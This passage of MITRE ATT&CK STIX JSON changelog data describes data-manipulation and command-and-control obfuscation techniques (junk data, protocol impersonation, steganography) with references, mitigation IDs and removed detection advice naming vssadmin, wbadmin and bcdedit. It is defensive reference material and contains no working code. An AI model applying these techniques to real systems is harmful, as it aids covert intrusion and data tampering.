"description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA16-091A"
},
{
"source_name": "US-CERT NotPetya 2017",
"description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA17-181A"
},
{
"source_name": "US-CERT SamSam 2018",
"description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/AA18-337A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Oleg Kolesnikov, Securonix",
"Mayuresh Dani, Qualys",
"Harshal Tupsamudre, Qualys",
"Travis Smith, Qualys",
"ExtraHop"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Cloud Storage: Cloud Storage Modification\", \"Network Share: Network Share Access\", \"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.589000+00:00\", \"old_value\": \"2025-04-15 19:59:00.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\\n\\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\\n\\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\\n-\\n-In some cases, monitoring for unusual kernel driver installation activity can aid in detection.\\n-\\n-In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint",
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0010: Cloud Storage (Cloud Storage Modification)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0033: Network Share (Network Share Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0215: Detection of Multi-Platform File Encryption for Impact"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 14:19:22.609000+00:00",
"modified": "2025-10-24 17:49:13.111000+00:00",
"name": "Data Manipulation",
"description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565",
"external_id": "T1565"
},
{
"source_name": "Sygnia Elephant Beetle Jan 2022",
"description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.",
"url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"File: File Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Deletion\", \"File: File Modification\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.111000+00:00\", \"old_value\": \"2025-04-15 22:14:59.144000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1029: Remote Data Storage",
"M1030: Network Segmentation",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Deletion)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0059: Detection Strategy for Data Manipulation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 14:30:05.252000+00:00",
"modified": "2025-10-24 17:48:37.277000+00:00",
"name": "Runtime Data Manipulation",
"description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565/003",
"external_id": "T1565.003"
},
{
"source_name": "DOJ Lazarus Sony 2018",
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"source_name": "FireEye APT38 Oct 2018",
"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Deletion\", \"Process: OS API Execution\", \"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.277000+00:00\", \"old_value\": \"2025-04-15 23:01:11.644000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1030: Network Segmentation"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Deletion)",
"DS0022: File (File Metadata)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0391: Detection Strategy for Runtime Data Manipulation."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 14:22:24.410000+00:00",
"modified": "2025-10-24 17:48:29.225000+00:00",
"name": "Stored Data Manipulation",
"description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565/001",
"external_id": "T1565.001"
},
{
"source_name": "DOJ Lazarus Sony 2018",
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"source_name": "FireEye APT38 Oct 2018",
"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.225000+00:00\", \"old_value\": \"2025-04-15 23:13:20.667000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1029: Remote Data Storage",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)",
"DS0022: File (File Deletion)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0193: Detection Strategy for Stored Data Manipulation across OS Platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 14:27:00.693000+00:00",
"modified": "2025-10-24 17:49:25.162000+00:00",
"name": "Transmitted Data Manipulation",
"description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1565/002",
"external_id": "T1565.002"
},
{
"source_name": "DOJ Lazarus Sony 2018",
"description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
"url": "https://www.justice.gov/opa/press-release/file/1092091/download"
},
{
"source_name": "FireEye APT38 Oct 2018",
"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.162000+00:00\", \"old_value\": \"2025-04-15 23:16:50.965000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0254: Detection Strategy of Transmitted Data Manipulation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:18.931000+00:00",
"modified": "2025-10-24 17:49:13.380000+00:00",
"name": "Data Obfuscation",
"description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1001",
"external_id": "T1001"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Bitdefender FunnyDream Campaign November 2020",
"description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
"url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.380000+00:00\", \"old_value\": \"2025-04-15 19:58:57.412000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0053: Detect Obfuscated C2 via Network Traffic Analysis"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 00:30:25.444000+00:00",
"modified": "2025-10-24 17:49:38.011000+00:00",
"name": "Junk Data",
"description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1001/001",
"external_id": "T1001.001"
},
{
"source_name": "FireEye SUNBURST Backdoor December 2020",
"description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
"url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.011000+00:00\", \"old_value\": \"2025-04-15 19:59:22.822000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0011: Detecting Junk Data in C2 Channels via Behavioral Analysis"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 00:40:27.503000+00:00",
"modified": "2025-10-24 17:49:20.574000+00:00",
"name": "Protocol or Service Impersonation",
"description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1001/003",
"external_id": "T1001.003"
},
{
"source_name": "Malleable-C2-U42",
"description": "Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.",
"url": "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "ESET Okrum July 2019",
"description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"James Emery-Callcott, Emerging Threats Team, Proofpoint"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.574000+00:00\", \"old_value\": \"2025-04-15 19:59:05.377000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0470: Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-15 00:37:58.963000+00:00",
"modified": "2025-10-24 17:49:35.060000+00:00",
"name": "Steganography",
"description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1001/002",
"external_id": "T1001.002"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.060000+00:00\", \"old_value\": \"2025-04-25 14:48:29.907000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0235: Detecting Steganographic Command and Control via File + Network Correlation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:58.938000+00:00",
"modified": "2025-10-24 17:49:01.010000+00:00",
"name": "Data Staged",
"description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
